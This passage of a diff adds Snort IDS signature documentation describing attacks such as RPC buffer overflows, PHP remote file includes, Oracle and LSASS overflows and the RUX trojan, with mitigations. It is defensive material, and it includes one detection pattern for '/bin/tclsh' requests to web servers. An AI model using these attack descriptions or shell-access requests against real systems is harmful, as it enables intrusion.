+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/581.txt
+++ snort-2.8.5.2/doc/signatures/581.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+581
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) pcnfsd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port pcnfsd is using.  Attackers can also learn what versions of the pcnfsd protocol are accepted by pcnfsd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as pcnfsd run.  The pcnfsd RPC service handles printing and authentication over the network.  A vulnerability exists because of improper argument checking that allows execution of arbitrary commands with root privileges. 
+
+--
+Affected Systems:
+BSDI BSD/OS 2.1
+HP HP-UX 10.1, 10.10, 10.20, 11.0
+IBM AIX 3.2, 4.0, 4.1, 4.2
+SCO Open Server 5.0
+SCO Unixware 2.0, 2.0.3, 2.1
+SGI IRIX 6.5, 6.5.1 - 6.5.16 
+Sun Solaris 2.4, 2.5
+Sun SunOS 4.1, 4.1.1 - 4.1.4
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where pcnfsd runs.  This may be a precursor to accessing pcnfsd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access pcnfsd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for pcnfsd, not probes of the pcnfsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the pcnfsd service itself. An attacker may attempt to go directly to the pcnfsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/5378
+
+CERT
+http://www.cert.org/advisories/CA-1996-08.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS22
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2502.txt
+++ snort-2.8.5.2/doc/signatures/2502.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2502
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2420.txt
+++ snort-2.8.5.2/doc/signatures/2420.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2420
+
+--
+Summary:
+This event is generated when an attempt is made to download a file that
+may be an attack vector for a known exploit to a vulnerability in Real 
+Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1179.txt
+++ snort-2.8.5.2/doc/signatures/1179.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1179
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000840.txt
+++ snort-2.8.5.2/doc/signatures/100000840.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000840
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "FlatNuke" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "mod" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mod" parameter in the "index.php" script used by the "FlatNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using FlatNuke
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2775.txt
+++ snort-2.8.5.2/doc/signatures/2775.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2775
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_nvarchar2
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1905.txt
+++ snort-2.8.5.2/doc/signatures/1905.txt
@@ -0,0 +1,68 @@
+Rule:
+--
+Sid:
+1905
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) amd service.
+
+--
+Impact:
+Remote root access. This attack can permit execution of arbitrary
+commands with the privileges of the user running amd, typically root.
+
+--
+Detailed Information:
+The amd RPC service implements the automounter daemon on UNIX hosts. The
+amd service automatically mounts and unmounts requested file systems.
+There is a buffer overflow associated with amd logging that can allow
+execution of arbitrary commands with the privileges of the user running
+amd, typically root.
+
+--
+Affected Systems:
+	BSDI BSD/OS 3.1, 4.0.1
+	FreeBSD 3.0, 3.1, 3.2
+	Red Hat Linux 4.2, 5.0, 5.1, 5.2, 6.0
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where amd runs
+and then attack the amd port. Alternatively, an attacker may attempt to
+execute the exploit code on any listening port in the RPC range if the
+portmapper is blocked. 
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2300.txt
+++ snort-2.8.5.2/doc/signatures/2300.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2300
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3011.txt
+++ snort-2.8.5.2/doc/signatures/3011.txt
@@ -0,0 +1,73 @@
+Rule: 
+
+--
+Sid: 
+3011
+-- 
+Summary: 
+This event is generated when an attempt is made to find the System
+directory on a target host with the RUX the Tick Trojan.
+
+-- 
+Impact: 
+If successful, the attacker would gain unauthorized access to the system,
+to upload and execute file on the target system. The attacker can use
+this function to upload additional backdoors to the victim's system and
+execute them.
+
+--
+Detailed Information:
+When executed, RUX the Tick opens up its assigned port (default is
+22222) for communication with the attacker. RUX the Tick has three
+functions: Get Windows Directory, Get System Directory, and Upload And
+Execute File. Get Windows Directory and Get System Directory are used
+for reconnaissance. Upload And Execute File is mainly used to upload and
+run other backdoors onto the victim's computer.
+
+--
+Affected Systems:
+	Windows 95/98/ME/NT/2000
+
+--
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files
+because they often can be backdoors in disguise. Once the victim
+mistakenly installs the server program, the attacker usually will employ
+an IP scanner program to find the IP addresses of victims that have
+installed the program. Then the attacker enters the IP address, port
+number (which  is assigned to the server program by the attacker:
+default is 22222), and presses the connect button and he has access to
+the computer.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+Corrective Action: 
+Using Windows Task Manager, kill these processes: ruxserver.exe and server.exe.
+Use Windows Explorer to find ruxserver.exe and delete the file.
+
+Keep anti-virus programs updated with the latest definitions.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky Macatee <rmacatee@sourcefire.com>
+
+-- 
+Additional References:
+
+PestPatrol:
+http://www.pestpatrol.com/PestInfo/R/RUX.ASP
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000644.txt
+++ snort-2.8.5.2/doc/signatures/100000644.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000644
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "user_add.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "user_add.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/380.txt
+++ snort-2.8.5.2/doc/signatures/380.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+380
+
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running "Seer" software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running "Seer" software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS166
+
+--
--- snort-2.8.5.2.orig/doc/signatures/521.txt
+++ snort-2.8.5.2/doc/signatures/521.txt
@@ -0,0 +1,54 @@
+Rule:
+--
+Sid:
+521
+
+--
+Summary:
+This event is generated when an overly large UDP packet is observed. 
+
+--
+Impact:
+Possible denial of service.  UDP packet payloads are typically smaller than 4000 bytes.  One possible explanation of a payload of greater than 4000 bytes is an attempted denial of service.
+
+--
+Detailed Information:
+UDP payloads are typically smaller than 4000 bytes since the UDP protocol is intended to be used for the transmission of smaller payloads.  When a large payload is observed, it may be a sign or anomalous activity, perhaps an attempted denial of service against the remote host. 
+
+--
+Affected Systems:
+Any system that listens for a UDP service. 
+
+--
+Attack Scenarios:
+An attacker may craft large UDP payloads in an attempt to cause a denial of service against a remote host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+There may be UDP services offered that naturally support large payload sizes.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Allow only known UDP protocols inbound.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS521
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2586.txt
+++ snort-2.8.5.2/doc/signatures/2586.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2586
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. 
+This may be against corporate policy. p2p clients connect to other p2p 
+clients to share files, commonly music and video files but can be configured 
+to share any file on the local machine. In particular this event is
+generated when the p2p client eDonkey is used.
+
+This activity may not only use bandwidth but may also be used to transfer 
+company confidential information to unauthorized hosts external to the 
+protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using an eDonkey p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1302.txt
+++ snort-2.8.5.2/doc/signatures/1302.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1302
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1351.txt
+++ snort-2.8.5.2/doc/signatures/1351.txt
@@ -0,0 +1,47 @@
+Rule:
+
+--
+Sid:
+1351
+
+--
+Summary:
+Attempted tclsh command access via web
+
+--
+Impact:
+Attempt to excute a tclsh command on a webserver
+
+--
+Detailed Information:
+This is an attempt to execute a tclsh command or script on a webserver. tclsh is a shell application that reads tcl commands and evaluates them. The attacker could possibly execute a command or script on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/tclsh'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine.
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1352
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2495.txt
+++ snort-2.8.5.2/doc/signatures/2495.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2495
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft RPC service.
+
+--
+Impact:
+Denial of Service (DoS). Possible execution of arbitrary code leading to
+unauthorized remote access to the victim host.
+
+--
+Detailed Information:
+It may be possible for an attacker to cause a DoS condition in the
+Microsoft RPC service when multiple simultaneous requests are made to a
+vulnerable host. This can lead to an exhaustion of system resources
+causing the DoS.
+
+--
+Affected Systems:
+	Windows systems running RPC services
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the RPC service many times in an
+attempt to cause the DoS condition to occur.
+
+--
+Ease of Attack:
+Difficult.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1110.txt
+++ snort-2.8.5.2/doc/signatures/1110.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1110
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/510.txt
+++ snort-2.8.5.2/doc/signatures/510.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+510
+
+--
+Summary:
+This event is generated when an attempt is made to change the message on
+the LCD display on a JetDirect enabled HP printer.
+
+--
+Impact:
+User confusion and comedy, mostly.
+
+--
+Detailed Information:
+HP JetDirect printers allow remote machines to change the message that
+is displayed on the LCD panel via the PJL command. This event indicates
+that this command has been used in network traffic.
+
+--
+Affected Systems:
+	HP JetDirect enabled printers
+ 
+--
+Attack Scenarios:
+As part of an attempt to confuse and annoy users, an attacker may
+attempt to change the message displayed on the printers LCD screen.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Update to the latest JetDirect, and investigate the possibility of
+restricting access to a central print-server using the "allow: <ip>
+<netmask>" directive in a printer config file. 
+
+Disallow printer use from hosts outside the protected network.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2800.txt
+++ snort-2.8.5.2/doc/signatures/2800.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2800
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure rename_shadow_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2526.txt
+++ snort-2.8.5.2/doc/signatures/2526.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2526
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
